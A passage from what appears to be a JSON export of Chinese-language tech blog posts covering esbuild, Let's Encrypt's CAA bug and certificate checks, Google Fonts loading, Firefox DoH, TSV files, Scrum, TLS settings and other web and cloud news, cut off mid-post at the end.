    "body": "<a href=\"https://github.com/evanw/esbuild/\">esbuild</a> 是個 JavaScript bundler &amp; minifier，在 <a href=\"https://github.com/\">GitHub</a> 上的副標提到了重點在於速度：\r\n\r\n<blockquote>An extremely fast JavaScript bundler and minifier</blockquote>\r\n\r\n從壓縮時間可以看出來優勢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wDyAIQw.webp\" /><img src=\"https://i.gslin.com/imgur/wDyAIQw.jpg\" alt=\"\" /></picture>\r\n\r\n另外從最終的檔案大小也可以看出來，與最小的 <a href=\"https://rollupjs.org/\">rollup</a> + <a href=\"https://github.com/terser/terser\">terser</a> 組合沒有差太多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/szInghJ.webp\" /><img src=\"https://i.gslin.com/imgur/szInghJ.jpg\" alt=\"\" /></picture>\r\n\r\n實際拿個 <a href=\"https://jquery.com/\">jQuery</a> 跑看看，可以看出來壓縮的效果還行：\r\n\r\n<pre>\r\n-rw-r--r-- 1 gslin staff  89228 Feb 19 06:03 jquery-3.4.1-esbuild.min.js\r\n-rw-r--r-- 1 gslin staff 280364 May  2  2019 jquery-3.4.1.js\r\n-rw-r--r-- 1 gslin staff  88145 May  2  2019 jquery-3.4.1.min.js\r\n</pre>\r\n\r\n速度主要是透過 <a href=\"https://golang.org/\">Golang</a> 並且平行化運算達到的：\r\n\r\n<ul>\r\n\t<li>It's written in Go, a language that compiles to native code</li>\r\n\t<li>Parsing, printing, and source map generation are all fully parallelized</li>\r\n\t<li>Everything is done in very few passes without expensive data transformations</li>\r\n\t<li>Code is written with speed in mind, and tries to avoid unnecessary allocations</li>\r\n</ul>\r\n\r\n不過作者有提到這個專案畢竟比較新，還沒有被時間磨練過，可能會有些 bug：\r\n\r\n<blockquote>This is a hobby project that I wrote over the 2019-2020 winter break. I believe that it's relatively complete and functional. However, it's brand new code and probably has a lot of bugs. It also hasn't yet been used in production by anyone. Use at your own risk.</blockquote>\r\n\r\n可以先放一陣子看看，讓一些先賢先烈把比較大的 bug 踩一踩修一修...",
    "title": "JavaScript 的壓縮器 esbuild"
  },
  {
    "id": "9428",
    "body": "前幾天才在 <a href=\"https://www.ptt.cc/\">Ptt</a> 上回了一些對 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 與 Serverless 的想法，結果剛剛看到 Lambda 被納入 <a href=\"https://aws.amazon.com/savingsplans/\">Savings Plans</a> 裡面了：「<a href=\"https://aws.amazon.com/blogs/aws/savings-plan-update-save-up-to-17-on-your-lambda-workloads/\">Savings Plan Update: Save Up to 17% On Your Lambda Workloads</a>」。\r\n\r\n最多 17% 的折扣，看起來比其他的低不少，應該是因為 Lambda 比起 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 或是 <a href=\"https://aws.amazon.com/fargate/\">Fargate</a> 更動態的關係：\r\n\r\n<blockquote>Today I am happy to be able to tell you that Compute Savings Plans now apply to the compute time consumed by your AWS Lambda functions, with savings of up to 17%.</blockquote>\r\n\r\n現有的 Savings Plans 如果沒有用完的部份也會自動套用進去。先放著看看...",
    "title": "Lambda 被放進 Savings Plans 了"
  },
  {
    "id": "9430",
    "body": "從 2020/02/19 開始，Let's Encrypt 的 ACME v1/v2 都會透過多個節點認證：「<a href=\"https://community.letsencrypt.org/t/acme-v1-v2-validating-challenges-from-multiple-network-vantage-points/112253\">ACME v1/v2: Validating challenges from multiple network vantage points</a>」。\r\n\r\n從多個節點認證可以降低路由被劫持後被拿來產生 SSL Certificate 的風險，看起來會有三個機房參與，需要兩個確認：\r\n\r\n<blockquote>After Feb 19th we will make four total validation requests (1 from a primary datacentre, and 3 from remote datacentres). The primary request and at least 2 of the 3 remote requests must receive the correct challenge response value for the domain to be considered authorized.</blockquote>\r\n\r\n也如同標題寫的，包括了現有的 v2 與將要淘汰的 v1。",
    "title": "Let's Encrypt 的 ACME v1/v2 透過多個節點認證"
  },
  {
    "id": "9431",
    "body": "這個系列是從『<a href=\"https://blog.gslin.org/archives/2020/02/15/9408/mit-%e7%9a%84%e3%80%8cthe-missing-semester-of-your-cs-education%e3%80%8d/\">MIT 的「The Missing Semester of Your CS Education」</a>』這邊延伸出來的，這篇文章講第三堂課「<a href=\"https://missing.csail.mit.edu/2020/editors/\">Editors (Vim)</a>」，這篇也是我決定要連載的原因 (身為 Vim 愛好者的偏好)。\r\n\r\n這邊講的是 <a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\">Vim</a> 而不是標準的 <a href=\"https://en.wikipedia.org/wiki/Vi\">vi</a> (這個對於初學者應該不太容易遇到了)，相較起來親民一些...\r\n\r\n從基本的操作開始說，模式的切換，插入刪除移動類的與區塊選取類的都有提到。\r\n\r\n比較特別的是他用黑板畫 <a href=\"https://en.wikipedia.org/wiki/Finite-state_machine\">Finite-state machine</a> 來解釋不同的按鍵操作會切換到不同的模式，應該說這不愧是給 CS 學生上的課？\r\n\r\n另外補充一下，用搜尋引擎搜一下 <code>vim cheatsheet</code>，沒事可以看一下 (回憶一下)，算是蠻好用的。",
    "title": "第三堂：「Editors (Vim)」"
  },
  {
    "id": "9432",
    "body": "這邊講的是透過 css (以及 js) 使用的 <a href=\"https://fonts.google.com/\">Google Fonts</a>，作者想要改善這塊，加速網頁的速度：「<a href=\"https://www.tunetheweb.com/blog/should-you-self-host-google-fonts/\">Should you self-host Google Fonts?</a>」。\r\n\r\n作者第一個提到的技巧是個懶人技巧，只要加上 <code>preconnect</code> 預先把 HTTPS 連線建好，就可以提昇不少速度。因為這可以降低先取得 css 後才建立連線的速度差異：\r\n\r\n<pre>&lt;link href=\"https://fonts.gstatic.com\" rel=\"preconnect\" crossorigin&gt;\r\n&lt;link href=\"https://fonts.googleapis.com/css?family=Lato&amp;display=swap\" rel=\"stylesheet\"&gt;</pre>\r\n\r\n作者有提到 <a href=\"https://www.google.com/\">Google</a> 在 css 檔案的 \r\nheader 裡面本來就有加上 <code>preconnect</code>，但從前後比較可以看出，整個網頁的結束時間差了一秒 (這是作者在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的 3G Slow 設定下模擬的)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HcwMZch.webp\" /><img src=\"https://i.gslin.com/imgur/HcwMZch.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zfNe4d8.webp\" /><img src=\"https://i.gslin.com/imgur/zfNe4d8.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個技巧是增加 swap，讓 Google Fonts 還沒有讀進來之前先用系統有的字型呈現。這樣不會出現整頁只有圖，然後突然字都冒出來的情況，也就是把一般在用的：\r\n\r\n<pre>&lt;link href=\"https://fonts.gstatic.com\" rel=\"preconnect\" crossorigin&gt;\r\n&lt;link href=\"https://fonts.googleapis.com/css?family=Lato\" rel=\"stylesheet\"&gt;</pre>\r\n\r\n加上 <code>&amp;display=swap</code>：\r\n\r\n<pre>&lt;link href=\"https://fonts.gstatic.com\" rel=\"preconnect\" crossorigin&gt;\r\n&lt;link href=\"https://fonts.googleapis.com/css?family=Lato&amp;display=swap\" rel=\"stylesheet\"&gt;</pre>\r\n\r\n最後一招就是把字型放在自己家，差異就更大了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ObyQLMz.webp\" /><img src=\"https://i.gslin.com/imgur/ObyQLMz.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/n9EMwu9.webp\" /><img src=\"https://i.gslin.com/imgur/n9EMwu9.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cPnkjr6.webp\" /><img src=\"https://i.gslin.com/imgur/cPnkjr6.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個好處是改善 privacy，不過好像沒特別提到...",
    "title": "Google Fonts 的加速方式"
  },
  {
    "id": "9433",
    "body": "在「<a href=\"https://www.theregister.co.uk/2020/02/20/apple_shorter_cert_lifetime/\">Apple drops a bomb on long-life HTTPS certificates: Safari to snub new security certs valid for more than 13 months</a>」這邊看到的，這次是 <a href=\"https://www.apple.com/safari/\">Safari</a> 直接發難要幹掉長效憑證。\r\n\r\n今年九月前發的憑證是照既有的協議，最長長度是 825 天 (大約 27 個月)，但九月開始發的憑證，如果有效長度超過 398 天就會直接被 Safari 視為無效，所以大約是砍半，其他家瀏覽器不知道會不會跟進...\r\n\r\n最早的時候可以直接買五年 (有印像是因為當年的 <a href=\"https://web.archive.org/web/20130901093943/https://group.nctu.edu.tw/\">group.nctu.edu.tw</a> 是我自己買的)，後來好像降到三年，最近是兩年，看起來要變成一年了...",
    "title": "Safari 將會禁止長效憑證 (超過 398 天，大約十三個月)"
  },
  {
    "id": "9434",
    "body": "看到 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在「<a href=\"https://blog.mozilla.org/blog/2020/02/25/firefox-continues-push-to-bring-dns-over-https-by-default-for-us-users/\">Firefox continues push to bring DNS over HTTPS by default for US users</a>」這邊的公告，另外也可以參考 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論：「<a href=\"https://news.ycombinator.com/item?id=22412409\">Mozilla’s DNS over HTTPs (blog.mozilla.org)</a>」。\r\n\r\n這次的改變是將美國的 Firefox 使用者自動啟用 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> (DoH)，而預設是丟給 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>：\r\n\r\n<blockquote>By default, this change will send your encrypted DNS requests to Cloudflare.</blockquote>\r\n\r\n這個作法非常粗暴而且侵犯使用者的隱私。\r\n\r\n<ul>\r\n\t<li>對於進階而且有在跟重大消息的使用者，他們如果不信任 Cloudflare 的話，會主動關掉 DoH 的選項。</li>\r\n\t<li>但對於一般使用者，他們不知道這件事情，而他們本來也不會預期他們上網的 hostname 部份會被 Cloudflare 知道。</li>\r\n</ul>\r\n\r\n相較於 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 是確認你現在用的 DNS 是不是在有支援 DoH 的清單內，如果是的話就會切過去使用 DoH，但不會因此改變 DNS provider，也就是不會有突然冒出來的第三者知道你瀏覽的網站。\r\n\r\n來繼續看...",
    "title": "Firefox 在美國將預設開啟 DNS over HTTPS"
  },
  {
    "id": "9437",
    "body": "最近常常需要提供資料給其他部門 (非技術類的部門)，有時候需要提供一些表格類的資料，傳統大多數人比較熟的是產生 <a href=\"https://en.wikipedia.org/wiki/Comma-separated_values\">CSV</a> 格式的資料讓使用者可以用 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Excel\">Excel</a> 打開，但這個格式其實有很多問題，最常見的就是 encoding 與資料有逗號 comma 的問題。\r\n\r\n如果是在 Python 下，其中一個解法是用 <a href=\"https://openpyxl.readthedocs.io/en/stable/\">openpyxl</a> 直接產生 <code>.xlsx</code>，但用起來還是沒那麼有下面提到的方法順手。\r\n\r\n如果是 shell script 時就比較麻煩了，像我這次手上有一堆影片檔，要用 <a href=\"https://ffmpeg.org/\">FFmpeg</a> 確認每個影片的 resolution 與 framerate 再提供給同事，這時候如果還是想產生 <code>.xlsx</code> 就累了...\r\n\r\n下面要提到的解法好像記得是在 K 社的時候同事教的，用 <a href=\"https://en.wikipedia.org/wiki/Tab-separated_values\">TSV</a> 檔格式 (當然檔名要取 <code>.tsv</code>)，然後 encoding 用 <a href=\"https://en.wikipedia.org/wiki/UTF-16\">UTF-16</a> (LE) 就可以解決上面提到的兩個問題，產生出來的檔案可以讓 Excel 直接打開。\r\n\r\n在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上的「<a href=\"https://stackoverflow.com/questions/6002256/is-it-possible-to-force-excel-recognize-utf-8-csv-files-automatically\">Is it possible to force Excel recognize UTF-8 CSV files automatically?</a>」這邊翻一翻，會發現裡面提到比較好的解法其實都是產生 TSV。\r\n\r\n這邊另外推薦，就算是寫程式，也還是可以先產生出 UTF-8 的版本 (通常副檔名我都會先取 <code>.txt</code>)，然後用 iconv 或是 piconv 轉成 UTF-16 (LE)：\r\n\r\n<pre>iconv -f utf8 -t utf16le a.txt &gt; a.tsv</pre>\r\n\r\n包到 Makefile 裡面用起來其實還蠻順手的...",
    "title": "用 TSV 而不用 CSV"
  },
  {
    "id": "9438",
    "body": "看到「<a href=\"https://www.bleepingcomputer.com/news/software/seti-home-search-for-alien-life-project-shuts-down-after-21-years/\">SETI@home Search for Alien Life Project Shuts Down After 21 Years</a>」這個消息，<a href=\"https://setiathome.berkeley.edu/\">SETI@home</a> 計畫將在這個月月底停止：\r\n\r\n<blockquote>SETI@home hibernation\r\nOn March 31, the volunteer computing part of SETI@home will stop distributing work and will go into hibernation.</blockquote>\r\n\r\n大學的時候跑得很開心，後來就沒什麼在玩了... 看起來是有些成果，所以決定休息了。",
    "title": "SETI@home 計畫將在月底停止"
  },
  {
    "id": "9439",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 發現在檢查 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">CAA</a> 的程式碼有問題，發了說明：「<a href=\"https://community.letsencrypt.org/t/2020-02-29-caa-rechecking-bug/114591\">2020.02.29 CAA Rechecking Bug</a>」，以及預定的處理方式：「<a href=\"https://community.letsencrypt.org/t/revoking-certain-certificates-on-march-4/114864\">Revoking certain certificates on March 4</a>」。\r\n\r\n問題是當一個 certificate request 包含了 N 個 domain 時，本來的 CAA 檢查應該要對這 N 個檢查，但程式寫成只會抓一個，然後檢查了 N 次：\r\n\r\n<blockquote>The bug: when a certificate request contained N domain names that needed CAA rechecking, Boulder would pick one domain name and check it N times. What this means in practice is that if a subscriber validated a domain name at time X, and the CAA records for that domain at time X allowed Let’s Encrypt issuance, that subscriber would be able to issue a certificate containing that domain name until X+30 days, even if someone later installed CAA records on that domain name that prohibit issuance by Let’s Encrypt.</blockquote>\r\n\r\n2020/02/29 發現的，就程式碼的部屬時間，發現應該從去年 2019/07/25 開始就有這個 bug：\r\n\r\n<blockquote>We confirmed the bug at 2020-02-29 03:08 UTC, and halted issuance at 03:10. We deployed a fix at 05:22 UTC and then re-enabled issuance.\r\n\r\nOur preliminary investigation suggests the bug was introduced on 2019-07-25. We will conduct a more detailed investigation and provide a postmortem when it is complete.</blockquote>\r\n\r\n然後決定要 revoke 這些可能會有問題的 SSL certificate，大約佔現有還有效的 SSL certificate 的 2.6%，大約三百萬筆：\r\n\r\n<blockquote>Q: How many certificates are affected?\r\nA: 2.6%. That is 3,048,289 currently-valid certificates are affected, out of ~116 million overall active Let’s Encrypt certificates. Of the affected certificates, about 1 million are duplicates of other affected certificates, in the sense of covering the same set of domain names.</blockquote>\r\n\r\n在「<a href=\"https://checkhost.unboundtest.com/\">Check whether a host's certificate needs replacement</a>」這邊可以偵測線上使用的 SSL certificate 是否受到影響。\r\n\r\n另外在「<a href=\"https://letsencrypt.org/caaproblem/\">Download affected certificate serials for 2020.02.29 CAA Rechecking Incident</a>」這邊可以抓到所有受到影響，預定要 revoke 的 SSL certificate 的序號。關於取得序號的方式，官方也有提供 CLI 的指令可以操作確認，對於有很多網域名稱需要確認的人可以用這組指令編寫程式判斷：\r\n\r\n<pre>openssl s_client -connect example.com:443 -servername example.com -showcerts &lt;/dev/null 2&gt;/dev/null | openssl x509 -text -noout | grep -A 1 Serial\\ Number | tr -d :</pre>\r\n\r\n照目前的描述，如果申請時只有一個 domain 應該是不會中這個問題，再來是最壞的情況大概會維持三個月 (網站主人沒管他，等到時間到了自動 renew)。",
    "title": "Let's Encrypt 在檢查 CAA 時出包"
  },
  {
    "id": "9440",
    "body": "在「<a href=\"https://medium.com/@p5d12000\">工程師幹話</a>」的『<a href=\"https://medium.com/@p5d12000/老闆想要成長-我們就讓老闆-看見-成長-3edd784cd8be\">老闆想要成長 — 我們就讓老闆「看見」成長</a>』這篇裡面提到了 <a href=\"https://en.wikipedia.org/wiki/Scrum_(software_development)\">Scrum</a>：\r\n\r\n<blockquote>台灣最接近 Scrum 的組織是國軍。一個 Scrum team 不應該太大，所以一個班只有九個人，然後有一個直接的 PO，叫做班長；每天工作之前都有的 standup meeting 呢，叫做早點名；至於固定時間都有的 retrospective 會議呢，叫做榮團會。所以，如果我們真心相信有個 Scrum 外型的組織就可以提昇效率的話，就等於，我們居然會願意相信：中華民國國軍是個高效率的組織。</blockquote>\r\n\r\n這篇文章花了半個小時才看完，真是有夠長的... 裡面描述了很多事情，與一些時間線對一下，大概知道哪個段落在講什麼事情。\r\n\r\n之前跟其他朋友聊到 Scrum 的時候我都有先說我的結論，就是我覺得 Scrum 只適合用在「外包團隊」與「業主」之間的互動，目前看到的其他情境都不合理。\r\n\r\n利用 Scrum 的架構，可以改善傳統的外包情境：\r\n\r\n<ul>\r\n\t<li>通常業主給不出完整的 spec，於是外包團隊無法估算成本，所以外包團隊利用 Scrum 機制，每個 sprint 可以要求業主每次提供一點 spec，然後依照這些 spec 估時 (點數) 並且計費 (換算成 manhour，然後得出人力成本與利潤)。</li>\r\n\t<li>如果業主一開始就可以給出完整的 spec 也沒關係，spec 先切出第一個 sprint，在每個 sprint 結束後，跟業主確認下一輪的內容。</li>\r\n</ul>\r\n\r\nScrum 在外包團隊可以掌握的範圍，大幅改善了傳統外包簽約的困難。\r\n\r\n對於業主不知道要做什麼的，可以降低業主一開始就需要提供很多資料 (spec) 的門檻。\r\n\r\n而對於業主已經知道要做什麼的，可以提供修改的時間點。這對於超長期的合作時特別有用，像是軍事外包案常常一個外包就是五年或是更長，sprint 的機制讓業主可以在中間很自然的修改規格，而不是加簽附約的方式修改 spec。\r\n\r\n另外，在簽署 <a href=\"https://agilemanifesto.org/\">Agile Manifesto</a> 的 17 人名單也可以看出來，裡面專搞 Scrum 的差不多都是在外包或是在當顧問，那麼，推出一個「學派」再告訴客戶這樣做會更好，是個自然不過的事情了。\r\n\r\n而從 Scrum 裡面的其他細節也可以看出來他們怎麼把外包團隊想要避開的問題「包裝」起來賣給客戶：\r\n\r\n<ul>\r\n\t<li>透過大幅縮短 milestone 的設計「sprint」，可以依照每個 sprint 收款，也因為通常 sprint 的單位長度比 milestone 的時間短很多，外包團隊的現金流的品質會比以前好。</li>\r\n\t<li>在 daily standup meeting 可以取得目前專案的進度，一方面可以在內部追蹤，避免有項目出事，另外一方面可以向業主回報，讓業主有安全感。</li>\r\n\t<li>再來是 Scrum 要求每個 sprint 的內容不可以被變更的問題，這點則是避免了客戶端的手伸進來，而改變了成本結構導致虧本。但也提供客戶修改的空間：允許下個 sprint 修改，重點在於該收的錢有收到。</li>\r\n</ul>\r\n\r\n而以上的這些東西放到公司內就會變得很奇怪：\r\n\r\n<ul>\r\n\t<li>外包公司不在意手上做的產品是不是合理，只在意工時 (人力成本) 合不合理。而公司內的團隊合理性的才會下去執行，甚至有可能做到一半才發現不合理而需要全面中斷 (因為 startup 常常在做一些以前的人沒做過的事情)。</li>\r\n\t<li>在外包公司裡，PO 無法伸手進 sprint 修改既定事項，要硬改就是得照合約先把這個 sprint 的錢付掉，所以這情不太會發生。而在公司內 PO 常常是老闆或是大主管，伸手進來改不會有什麼賠償成本，Scrum 的這條規定在公司裡面就是沒有罰則的法律。</li>\r\n\t<li>公司成員遇到問題卡住 (不知道怎麼解、自己不會解、需要別人一起幫忙解) 或是進度會跟不上的情況應該是發現時馬上通知，而不是擺爛等到隔天的 standup meeting 才提出來。於是你會發現找不到 daily standup meeting 的目的。</li>\r\n</ul>\r\n\r\n另外一個問題是：\r\n\r\n<ul>\r\n\t<li>營運端的成本造成估時不準確。像是上線後，系統的 downtime、bugfix 而使得原來團隊成員需要支援的情況，導致一個人的輸出不可能有 40 hours/week。</li>\r\n</ul>\r\n\r\n這點也是在外包公司不會遇到，而公司內不可避免會遇到的情況。\r\n\r\n差不多把該講的都列出來了，這是我覺得外包時用 Scrum 適合的原因。",
    "title": "Scrum 的適合場景：「外包團隊」"
  },
  {
    "id": "9442",
    "body": "突然想到所以到 <a href=\"https://www.ssllabs.com/ssltest/\">SSL Report</a> 上測試 <a href=\"https://blog.gslin.org/\">blog.gslin.org</a>，發現如果還支援 TLS 1.0，在 Overall Rating 的部份會直接被降為 B。\r\n\r\n翻了一下 access log (我在 log 裡有多記錄連線的 TLS Protocol)，看起來用 TLS 1.0 連的主要都是 bot，關掉應該是還好...\r\n\r\n另外看了一下報告裡的 Cipher Suites 部份，發現不少 cipher (像是 <code>TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)</code>) 被列為 weak，看起來像是把使用 CBC 的 cipher 都認為是 weak，是個推廣 <a href=\"https://en.wikipedia.org/wiki/AEAD\">AEAD</a> 的概念。\r\n\r\n影響應該不大，但還是記錄一下... 另外等 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 出了以後把整台重灌好了，目前還在用 Ubuntu 16.04，系統內建的 <a href=\"https://nginx.org/\">nginx</a> 不支援 TLS 1.3。",
    "title": "把 TLS 1.0 關掉..."
  },
  {
    "id": "9443",
    "body": "剛剛看到 <a href=\"https://github.com/\">GitHub</a> 買下 <a href=\"https://www.npmjs.com/\">npm, Inc.</a> 的消息，兩邊都發稿了：\r\n\r\n<ul>\r\n\t<li><a href=\"https://github.blog/2020-03-16-npm-is-joining-github/\">npm is joining GitHub</a></li>\r\n\t<li><a href=\"https://blog.npmjs.org/post/612764866888007680/next-phase-montage\">Next Phase Montage</a></li>\r\n</ul>\r\n\r\n後面不知道會整合到什麼程度，在新聞稿裡沒有提到技術細節，都是給大方向的宣示...",
    "title": "GitHub (Microsoft) 買下 npm, Inc."
  },
  {
    "id": "9444",
    "body": "目前 <a href=\"https://kafka.apache.org/\">Kafka</a> cluster 還是會需要透過 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 處理不少資料，但眾所皆知的，ZooKeeper 實在是不好維護，所以 Kafka 官方從好幾年前就一直在想辦法移除對 ZooKeeper 的相依性。\r\n\r\n這篇算是其中一塊：「<a href=\"https://www.infoq.com/presentations/kafka-zookeeper/\">Kafka Needs No Keeper</a>」。\r\n\r\n真的自己架過 Kafka cluster 就會知道其中的 ZooKeeper 很不好維護，尤其是 <a href=\"https://www.apache.org/\">Apache</a> 官方版本的軟體與文件常常脫勾，設定起來就很痛苦。所以一般都會用 <a href=\"https://www.confluent.io/\">Confluent</a> 出的包裝，裡面的 ZooKeeper 軟體與 Confluent 自己寫的文件至少都被測過，不太會遇到官方文件與軟體之間搭不上的問題。\r\n\r\n另外一個常見的痛點是，因為 Kafka 推動拔掉 ZooKeeper 的計畫推很久了 (好幾年了)，但進展不快，所以有時候會發現在 command line 下，有些指令會把 API endpoint 指到 ZooKeeper 伺服器上，但有些指令卻又指到 Kafka broker 上，這點一直在邏輯上困擾很久，直到看到官方的拔除計畫 (但又不快) 才理解為什麼這麼不一致...\r\n\r\n給需要的人參考，當初在架設 Kafka cluster 時寫下來的筆記：「<a href=\"https://wiki.gslin.org/wiki/Confluent\">Confluent</a>」。",
    "title": "Kafka 拔掉 ZooKeeper 的計畫"
  },
  {
    "id": "9445",
    "body": "<a href=\"https://brave.com/\">Brave</a> (從 Chromium 分支出來的瀏覽器) 檢舉 <a href=\"https://www.google.com/\">Google</a> 沒有遵守 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> 的規定：「<a href=\"https://brave.com/google-internal-data-free-for-all/\">Formal GDPR complaint against Google’s internal data free-for-all</a>」。\r\n\r\n主要是「purpose limitation」這個部份，出自「<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&amp;from=EN\">REGULATION (EU) 2016/679 OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL of 27 April 2016</a>」：\r\n\r\n<blockquote>1.   Personal data shall be:\r\n\r\n(b)\r\n\r\ncollected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall, in accordance with Article 89(1), not be considered to be incompatible with the initial purposes (‘purpose limitation’);</blockquote>\r\n\r\n比較重要的是 specified 與 explicit 這兩個詞，GDPR 規定必須明確指明用途，而可以從整理出來的文件「<a href=\"https://brave.com/wp-content/uploads/2020/03/Inside-the-Black-Box.pdf\">Inside the black box</a>」裡的「Purported processing purpose」看到大量的極為廣泛的說明。\r\n\r\nGoogle 應該會就這塊反擊認為這樣的描述就夠用，就看歐盟決定要怎麼做了...",
    "title": "Brave 出手檢舉 Google 沒有遵守 GDPR"
  },
  {
    "id": "9446",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 上的 <a href=\"https://redis.io/\">Redis</a> 服務 (<a href=\"https://aws.amazon.com/elasticache/\">Amazon ElastiCache</a>) 推出了 Global Datastore，也就是跨區同步的功能：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-amazon-elasticache-global-datastore-for-redis/\">Now Available: Amazon ElastiCache Global Datastore for Redis</a>」。\r\n\r\n技術上會分成 read endpoint 與 write endpoint (在最後面的操作可以看到 <code>$US_WEST_1_CLUSTER_READWRITE</code> 與 <code>$US_WEST_2_CLUSTER_READONLY</code>)，所以算是蠻常見的 primary-secondary 架構。\r\n\r\n不過我基本上不太愛 Redis，能用 Memcached 解決的偏好用 Memcached 解。不過如果把 Redis 當作是一種雲端服務的話，倒是還可以接受...",
    "title": "AWS 上的 Redis 服務支援 Global Replication"
  },
  {
    "id": "9447",
    "body": "在「<a href=\"https://awsapichanges.info/archive/changes/53c2a5-mediaconvert.html\">2020/03/17 - AWS Elemental MediaConvert - 11 updated api methods</a>」這邊看到的：\r\n\r\n<blockquote>AWS Elemental MediaConvert SDK has added support for: AV1 encoding in File Group MP4, DASH and CMAF DASH outputs; PCM/WAV audio output in MPEG2-TS containers; and Opus audio in Webm inputs.</blockquote>\r\n\r\n翻了一下同個站台的總表「<a href=\"https://awsapichanges.info/archive/service/mediaconvert/\">AWS Elemental MediaConvert</a>」這頁，看起來是第一次支援 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> 輸出，這對於很在意頻寬的應用方便不少，另外翻了一下 <a href=\"https://caniuse.com/\">Can I Use</a> 這邊的資料「<a href=\"https://caniuse.com/#search=av1\">AV1 video format</a>」，看起來也已經有不少環境可以用 AV1 了 (又看到 <a href=\"https://www.apple.com/safari/\">Safari</a>，真不愧是 2020 年的 IE6)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cBx3RTp.webp\" /><img src=\"https://i.gslin.com/imgur/cBx3RTp.jpg\" alt=\"\" /></picture>\r\n\r\n另外可以參考「<a href=\"https://netflixtechblog.com/netflix-now-streaming-av1-on-android-d5264a515202\">Netflix Now Streaming AV1 on Android</a>」這篇，<a href=\"https://www.netflix.com/\">Netflix</a> 在今年稍早的時候也決定在 <a href=\"https://www.android.com/\">Android</a> 平台上採用 AV1。",
    "title": "AWS Elemental MediaConvert 支援 AV1"
  },
  {
    "id": "9448",
    "body": "在 <a href=\"https://www.palemoon.org/\">Pale Moon</a> 官方論壇的公告區「<a href=\"https://forum.palemoon.org/viewtopic.php?f=1&amp;t=24004\">An Open Letter to Web Developers</a>」這邊。\r\n\r\n<blockquote>While, as a software developer ourselves, we understand very well that new features are exciting to use and integrate into your work, we ask that you please consider not adopting Google WebComponents in your designs.</blockquote>\r\n\r\n話說回來，Pale Moon 用起來有種懷念感，而且比起現在的 Firefox 好用不少，只是上面套件有點少...",
    "title": "Pale Moon 呼籲不要使用 Google 主導的 WebComponents"
  },
  {
    "id": "9449",
    "body": "這邊看到的消息，<a href=\"https://www.google.com/chrome/\">Chrome</a> 與 <a href=\"https://en.wikipedia.org/wiki/Chrome_OS\">Chrome OS</a> 會避免在最近推出新功能，以維持軟體的穩定性，最近更新的主力會放在安全性上：「<a href=\"https://www.theverge.com/2020/3/18/21185471/google-pausing-chrome-os-releases-coronavirus-work-schedules\">Google halts upcoming releases of Chrome and Chrome OS to keep things stable for everyone working from home</a>」。\r\n\r\n報導引用自 <a href=\"https://twitter.com/\">Twitter</a> 上的宣佈：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Due to adjusted work schedules, we’re pausing upcoming Chrome &amp; Chrome OS releases. Our goal is to ensure they continue to be stable, secure, &amp; reliable for anyone who depends on them. We’ll prioritize updates related to security, which will be included in Chrome 80. Stay tuned.</p>&mdash; Chrome Developers (@ChromiumDev) <a href=\"https://twitter.com/ChromiumDev/status/1240322481778569216?ref_src=twsrc%5Etfw\">March 18, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n呃，突然想到 Windows 的更新情況...",
    "title": "Chrome 與 Chrome OS 最近不會更新新功能"
  },
  {
    "id": "9450",
    "body": "在「<a href=\"https://engineering.fb.com/production-engineering/ntp-service/\">Building a more accurate time service at Facebook scale</a>」這邊 <a href=\"https://www.facebook.com/\">Facebook</a> 講了不少跟 NTP 有關的東西，不過重點在他們提供 Public NTP service：\r\n\r\n<blockquote>Having five independent geographically distributed endpoints helps us provide better service — even in the event of a network path failure. So we provide five endpoints: \r\n\r\n<ul>\r\n\t<li>time1.facebook.com</li>\r\n\t<li>time2.facebook.com</li>\r\n\t<li>time3.facebook.com</li>\r\n\t<li>time4.facebook.com</li>\r\n\t<li>time5.facebook.com</li>\r\n</ul>\r\n\r\nEach of these endpoints terminates in a different geographic location, which has a positive effect on both reliability and time precision. </blockquote>\r\n\r\n看起來是混了 anycast 進去，從台灣 (<a href=\"https://www.hinet.net/\">HiNet</a>) 走的話，<code>time1.facebook.com</code> 